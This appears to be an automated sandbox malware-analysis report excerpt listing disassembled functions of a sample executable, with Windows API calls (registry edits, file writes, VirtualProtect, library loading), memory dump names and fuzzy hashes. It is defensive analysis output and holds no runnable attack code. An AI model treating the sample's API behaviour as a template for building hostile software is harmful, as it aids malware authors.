Part of subcall function 00405BFE: CharNextW.USER32(00000000), ref: 00405C11
Part of subcall function 00405BFE: CharNextW.USER32(00000000), ref: 00405C29

lstrlenW.KERNEL32(0042FA50,00000000,0042FA50,0042FA50,?,?,74DF3420,004059B0,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405CB4
GetFileAttributesW.KERNELBASE(0042FA50,0042FA50,0042FA50,0042FA50,0042FA50,0042FA50,00000000,0042FA50,0042FA50,?,?,74DF3420,004059B0,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 00405CC4

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID:
API String ID: 3248276644-0
Opcode ID: a970eb1a3142989cf927e9e4643bcace7998e9650737c8fd412cf721476e62ae
Instruction ID: 85ea7651a51856ee7c4c0712bbf35357d52fdd33bb29f336d43f3a771a20a055
Opcode Fuzzy Hash: a970eb1a3142989cf927e9e4643bcace7998e9650737c8fd412cf721476e62ae
Instruction Fuzzy Hash: 0DF0F925109F5215F622323A1D09EAF2554CF83368716463FF952B16D5DA3C99038D7D

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 819fad79445c3595f7b9f28f54206bfd84f40695cc559c75429dbb5a445ae89f
Instruction ID: eaafb4699c1cdf5c6f59fde68eca766a765a16907ebce13606274643e5ac5f14
Opcode Fuzzy Hash: 819fad79445c3595f7b9f28f54206bfd84f40695cc559c75429dbb5a445ae89f
Instruction Fuzzy Hash: 8D0128316242209FE7095B789D05B6A3698E710715F14463FF851F62F1D678CC429B4C

Function 00402388 Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023AA
RegCloseKey.ADVAPI32(00000000), ref: 004023B3

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 521e33bf1c8ff9c3df6ac7757e7f8edd3bb41d92ca0b3b7281954678aee4cd22
Instruction ID: a65daa511511277569afb244ca8fe97b80a25767db049908362439423f8cf232
Opcode Fuzzy Hash: 521e33bf1c8ff9c3df6ac7757e7f8edd3bb41d92ca0b3b7281954678aee4cd22
Instruction Fuzzy Hash: E5F09632A041149BE711BBA49B4EABEB2A99B44354F16043FFA02F71C1DEFC4D41966D

Function 00401E43 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E61
EnableWindow.USER32(00000000,00000000), ref: 00401E6C

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 2eb542d08f3645705a96f7068f662fa96ba88c07949deaf1805fa2c2c225f25f
Instruction ID: 09ae210f1740f3e2fd0b4033472822fcab18c129469b5f5a82ca29d8a3c9addd
Opcode Fuzzy Hash: 2eb542d08f3645705a96f7068f662fa96ba88c07949deaf1805fa2c2c225f25f
Instruction Fuzzy Hash: DEE09232E082008FD7149BA5AA494AD77B4EB84364720403FE112F11C1DA7848418F59

Function 0040665C Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,004033E5,0000000A), ref: 0040666E
GetProcAddress.KERNEL32(00000000,?), ref: 00406689

Part of subcall function 004065EC: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406603
Part of subcall function 004065EC: wsprintfW.USER32 ref: 0040663E
Part of subcall function 004065EC: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406652

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 67dc6ca41c2bc7bd5b2f809cbb82f8f2c1b847e00e9086bd1828883d4f03c685
Instruction ID: f71ddd0ba98f8a8be4c3f380e987b43417b0e7e7cad23f5b62dfe7414387192f
Opcode Fuzzy Hash: 67dc6ca41c2bc7bd5b2f809cbb82f8f2c1b847e00e9086bd1828883d4f03c685
Instruction Fuzzy Hash: 18E026321002016AC7008A305E4083763AC9B85340303883FFD46F2081DB39DC31A6AD

Function 00405D74 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\3507071243740008011.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D78
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D9A

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction ID: 684cdbd871a87963be1dc25f749e3f1c2e3aca1a790447dc63e6e481d8426dbe
Opcode Fuzzy Hash: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction Fuzzy Hash: 5DD09E31254301AFEF098F20DE16F2EBBA2EB84B05F11552CB786940E0DA7158199B15

Function 00405832 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403366,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 00405838
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 00405846

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction ID: 034de6f099216337e7681325378c15a49c0ca39433587e883605b7c80b1fabea
Opcode Fuzzy Hash: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction Fuzzy Hash: C8C08C312155019AC7002F219F08B0B3A50AB20340F018439A946E00E0DA308424DD2D

Function 10001272 Relevance: 2.5, APIs: 2, Instructions: 22memorystringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,?,1000155E,?), ref: 10001288
lstrcpynW.KERNEL32(00000004,?,?,1000155E,?), ref: 1000129E

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: AllocGloballstrcpyn
String ID:
API String ID: 3204721840-0
Opcode ID: afe45deed3c66b3a0d284d3e9d1cbe2d2ade6927c8a4a5a8782c6529d192ae48
Instruction ID: e9b740c6d8b694a709cf830eb31a0a27ff166fa851e2490f9389895f26a0ffec
Opcode Fuzzy Hash: afe45deed3c66b3a0d284d3e9d1cbe2d2ade6927c8a4a5a8782c6529d192ae48
Instruction Fuzzy Hash: D8F0A5B5504220DFF701CFA4D888E5677E8FB48380B028655FA45D7228CB30A810CB65

Function 004027E9 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 00402807

Part of subcall function 004061C9: wsprintfW.USER32 ref: 004061D6

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 25119fcbc0a3167edfdd7d21477dcc65c7f09cfc642675181383071420b6b3c2
Instruction ID: 338d2460217d73ea2e2bb91e7847e27d4a9cf2f97daf1e2edf82c438741940a9
Opcode Fuzzy Hash: 25119fcbc0a3167edfdd7d21477dcc65c7f09cfc642675181383071420b6b3c2
Instruction Fuzzy Hash: 83E09271B00104AFDB11EBA5AE498AE7779DB80314B24403BF101F50D2CA794E119E2D

Function 00402306 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040233D

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 611604a497d22fd9b22a7666efc1e18301a5eb9844a24c96cea5756000cc0278
Instruction ID: f718b570c03cd879152723008abd35f840e0595a9afadee28286a7759bd10add
Opcode Fuzzy Hash: 611604a497d22fd9b22a7666efc1e18301a5eb9844a24c96cea5756000cc0278
Instruction Fuzzy Hash: A1E086719042686EE7303AF10F8EDBF50989B44348B55093FBA01B61C2D9FC0D46826D

Function 0040611D Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CE8,00000000,?,?), ref: 00406146

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: 190238b8cd19dd4efab6c9cc8903e135eae53195524c7f3a74b1c4143961a507
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: A1E0E6B2010109BEDF095F50DD0AD7B371DEB04704F01452EFA57D5091E6B5A9309679

Function 00405E26 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,004032DE,000000FF,00416A00,?,00416A00,?,?,00000004,00000000), ref: 00405E3A

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 087a0ba252b1651b23da729bb4e18d02a4b8a10c1fd3406c9ee2a7e33144c981
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 96E0463221021AABCF10AF50CC04AAB3B6CFB003A0F004432B955E2050D230EA208AE9

Function 00405DF7 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403328,00000000,00000000,0040314C,?,00000004,00000000,00000000,00000000), ref: 00405E0B

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: e221de633d5b74da9fce23a9c995dc3304d5126a795d503f9c3389b6b2e666c2
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 4DE0EC3221025AABDF10AF95DC00EEB7B6CEB05360F044436FA65E7150D631EA619BF8

Function 100027C2 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E0

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 43a77b614ff4017466e57d7f63f0e44ab05d53355a3bca00642047650885b550
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: C5F0A5F15057A0DEF350DF688C847063BE4E3583C4B03852AE368F6269EB344454DF19

Function 00402348 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 00402379

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: c6a8cbcbc31f6e602369a5318af1bf20fc7f19c6dcae62e72b5fc0541244e301
Instruction ID: 69d349e7d285c822079f9e4bf846872a9f1ef35916f06b7134f04da07b3971da
Opcode Fuzzy Hash: c6a8cbcbc31f6e602369a5318af1bf20fc7f19c6dcae62e72b5fc0541244e301
Instruction Fuzzy Hash: 25E0487080420CAADB106FA1CE099BE7A64AF00340F104439F5907B0D1E6FC84415745

Function 004060EF Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,0042C228,?,?,0040617D,0042C228,00000000,?,?,Call,?), ref: 00406113

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 3f4f51c5761301f24834a255f16e5381e59d2a113ab40b24d84d285923e9a67b
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: 47D0173604020DBBEF119F90ED01FAB3B6DAB08314F014826FE16A80A2D776D530AB68

Function 0040424C Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00404077), ref: 0040425A

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c67af3d44b601b412ad7c6a67ff551ecd195e7fe17a35a24dfb0ddc2ffe3d870
